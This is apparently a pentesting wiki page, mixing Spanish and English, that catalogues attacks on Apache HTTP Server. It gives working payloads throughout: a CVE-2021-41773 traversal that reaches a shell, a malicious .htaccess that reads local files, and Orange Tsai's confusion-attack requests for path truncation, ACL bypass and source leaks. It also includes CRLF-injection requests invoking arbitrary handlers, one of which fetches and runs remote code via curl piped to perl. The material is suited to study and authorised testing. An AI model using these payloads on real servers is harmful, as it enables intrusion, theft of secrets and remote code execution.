Apache

Reading time: 13 minutes

Extensiones PHP ejecutables

Comprueba qué extensiones está ejecutando el servidor Apache. Para buscarlas puedes ejecutar:

grep -R -B1 "httpd-php" /etc/apache2

Además, algunos lugares donde puedes encontrar esta configuración son:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

LFI via .htaccess ErrorDocument file provider (ap_expr)

Si puedes controlar el .htaccess de un directorio y AllowOverride incluye FileInfo para esa ruta, puedes convertir las respuestas 404 en lecturas arbitrarias de archivos locales usando la función ap_expr file() dentro de ErrorDocument.

• Requisitos:
• Apache 2.4 con el analizador de expresiones (ap_expr) habilitado (por defecto en 2.4).
• El vhost/dir debe permitir que .htaccess establezca ErrorDocument (AllowOverride FileInfo).
• El usuario worker de Apache debe tener permisos de lectura sobre el archivo objetivo.

.htaccess payload:

# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}

Se desencadena solicitando cualquier ruta inexistente debajo de ese directorio, por ejemplo al abusar de userdir-style hosting:

curl -s http://target/~user/does-not-exist | sed -n '1,20p'

Notas y consejos:

• Solo funcionan rutas absolutas. El contenido se devuelve como el cuerpo de la respuesta para el handler 404.
• Los permisos efectivos de lectura son los del usuario de Apache (típicamente www-data/apache). No podrás leer /root/* ni /etc/shadow en configuraciones por defecto.
• Incluso si .htaccess es root-owned, si el directorio padre es tenant-owned y permite renombrar, podrías renombrar el .htaccess original y subir tu propio reemplazo vía SFTP/FTP:
• rename .htaccess .htaccess.bk
• put your malicious .htaccess
• Usa esto para leer el código fuente de la aplicación bajo DocumentRoot o las rutas de configuración de vhost para extraer secretos (DB creds, API keys, etc.).

Confusion Attack

These types of attacks has been introduced and documented by Orange in this blog post and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.

Filename Confusion

Truncation

The mod_rewrite will trim the content of r->filename after the character ? (modules/mappers/mod_rewrite.c#L4141). This isn't totally wrong as most modules will treat r->filename as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.

• Path Truncation

It's possible to abuse mod_rewrite like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a ?:

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`

• Mislead RewriteFlag Assignment

En la siguiente regla de reescritura, mientras la URL termine en .php será tratada y ejecutada como php. Por lo tanto, es posible enviar una URL que termine en .php después del carácter ? mientras se carga en la ruta un tipo de archivo diferente (como una imagen) con código php malicioso en su interior:

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

Es posible acceder a archivos a los que el usuario no debería poder acceder, incluso si el acceso debería denegarse con configuraciones como:

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

Esto se debe a que, por defecto, PHP-FPM recibirá URLs que terminen en .php, como http://server/admin.php%3Fooo.php, y porque PHP-FPM eliminará todo lo que venga después del carácter ?, la URL anterior permitirá cargar /admin.php incluso si la regla anterior lo prohibía.

Confusión de DocumentRoot

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

Un dato curioso sobre Apache es que la reescritura anterior intentará acceder al archivo tanto desde el documentRoot como desde root. Así, una petición a https://server/abouth.html comprobará la existencia del archivo en /var/www/html/about.html y en /about.html en el sistema de archivos. Esto, básicamente, puede ser abusado para acceder a archivos del sistema de archivos.

Divulgación del código fuente del lado del servidor

• Revelar el código fuente de CGI

Con solo añadir un %3F al final es suficiente para leak el código fuente de un CGI module:

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi

• Divulgar PHP Source Code

Si un servidor tiene diferentes dominios con uno de ellos siendo un dominio estático, esto puede ser abusado para recorrer el sistema de archivos y leak php code:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Local Gadgets Manipulation

El principal problema con el ataque anterior es que, por defecto, la mayoría del acceso al sistema de archivos será denegado, como muestra la configuration template de Apache HTTP Server:

<Directory />
AllowOverride None
Require all denied
</Directory>

Sin embargo, los sistemas operativos Debian/Ubuntu permiten por defecto /usr/share:

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

Por lo tanto, sería posible abusar de archivos ubicados dentro de /usr/share en estas distribuciones.

Local Gadget to Information Disclosure

• Apache HTTP Server con websocketd puede exponer el script dump-env.php en /usr/share/doc/websocketd/examples/php/, el cual puede leak variables de entorno sensibles.
• Servidores con Nginx o Jetty podrían exponer información sensible de aplicaciones web (p. ej., web.xml) a través de sus raíces web por defecto ubicadas bajo /usr/share:
• /usr/share/nginx/html/
• /usr/share/jetty9/etc/
• /usr/share/jetty9/webapps/

Local Gadget to XSS

• En Ubuntu Desktop con LibreOffice instalado, explotar la función de cambio de idioma de los archivos de ayuda puede llevar a Cross-Site Scripting (XSS). Manipular la URL en /usr/share/libreoffice/help/help.html puede redirigir a páginas maliciosas o a versiones anteriores mediante una RewriteRule insegura.

Local Gadget to LFI

• Si PHP o ciertos paquetes de front-end como JpGraph o jQuery-jFeed están instalados, sus archivos pueden ser explotados para leer archivos sensibles como /etc/passwd:
• /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
• /usr/share/javascript/jquery-jfeed/proxy.php
• /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Local Gadget to SSRF

• Utilizando magpie_debug.php de MagpieRSS en /usr/share/php/magpierss/scripts/magpie_debug.php, se puede crear fácilmente una vulnerabilidad SSRF, proporcionando una puerta a exploits adicionales.

Local Gadget to RCE

• Las oportunidades para Remote Code Execution (RCE) son numerosas, con instalaciones vulnerables como versiones desactualizadas de PHPUnit o phpLiteAdmin. Estas pueden explotarse para ejecutar código arbitrario, demostrando el amplio potencial de la manipulación de gadgets locales.

Jailbreak from Local Gadgets

También es posible hacer jailbreak desde las carpetas permitidas siguiendo symlinks generados por software instalado en esas carpetas, como:

• Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
• Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
• Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
• MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
• SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

Además, abusando de symlinks fue posible obtener RCE en Redmine.

Confusión de handlers

Este ataque explota la superposición de funcionalidad entre las directivas AddHandler y AddType, las cuales pueden usarse para habilitar el procesamiento de PHP. Originalmente, estas directivas afectaban campos diferentes (r->handler y r->content_type, respectivamente) en la estructura interna del servidor. Sin embargo, debido a código legado, Apache maneja estas directivas de forma intercambiable bajo ciertas condiciones, convirtiendo r->content_type en r->handler si el primero está establecido y el segundo no lo está.

Además, en el Apache HTTP Server (server/config.c#L420), si r->handler está vacío antes de ejecutar ap_run_handler(), el servidor usa r->content_type como handler, haciendo efectivamente que AddType y AddHandler tengan el mismo efecto.

Overwrite Handler to Disclose PHP Source Code

En esta charla, se presentó una vulnerabilidad en la que un Content-Length incorrecto enviado por un cliente puede hacer que Apache, por error, devuelva el código fuente PHP. Esto se debía a un problema de manejo de errores con ModSecurity y el Apache Portable Runtime (APR), donde una respuesta doble conduce a sobrescribir r->content_type a text/html.\
Porque ModSecurity no maneja correctamente los valores de retorno, devolvería el código PHP y no lo interpretaría.

Overwrite Handler to XXXX

TODO: Orange no ha divulgado esta vulnerabilidad aún

Invoke Arbitrary Handlers

Si un atacante puede controlar la cabecera Content-Type en la respuesta del servidor, podrá invocar handlers de módulos arbitrarios. Sin embargo, para cuando el atacante controla esto, la mayor parte del procesamiento de la petición ya habrá ocurrido. No obstante, es posible reiniciar el proceso de la petición abusando de la cabecera Location porque si el returned Status es 200 y la cabecera Location comienza con /, la respuesta se trata como una Server-Side Redirection y debe ser procesada

According to RFC 3875 (specification about CGI) in Section 6.2.2 defines a Local Redirect Response behavior:

The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.

Por lo tanto, para realizar este ataque se necesita una de las siguientes vulnerabilidades:

• CRLF Injection en las cabeceras de respuesta CGI
• SSRF con control completo de las cabeceras de respuesta

Arbitrary Handler to Information Disclosure

Por ejemplo, /server-status solo debería ser accesible localmente:

<Location /server-status>
SetHandler server-status
Require local
</Location>

Es posible acceder a él estableciendo el Content-Type en server-status y la cabecera Location empezando por /.

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Manejador Arbitrario a SSRF completo

Redirigiendo a mod_proxy para acceder a cualquier protocolo en cualquier URL:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

Sin embargo, se añade el encabezado X-Forwarded-For, impidiendo el acceso a los puntos finales de metadatos de la nube.

Handler arbitrario para acceder al socket de dominio Unix local

Accede al socket de dominio Unix local de PHP-FPM para ejecutar un backdoor PHP ubicado en /tmp/:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Arbitrary Handler to RCE

La imagen oficial de PHP Docker incluye PEAR (Pearcmd.php), una herramienta de gestión de paquetes de PHP desde la línea de comandos, que puede ser abusada para obtener RCE:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Consulta Docker PHP LFI Summary, escrito por Phith0n para los detalles de esta técnica.

Referencias

• https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1
• Apache 2.4 Respuestas de error personalizadas (ErrorDocument)
• Apache 2.4 Expresiones y funciones (file:)
• HTB Zero write-up: .htaccess ErrorDocument LFI y abuso de cron pgrep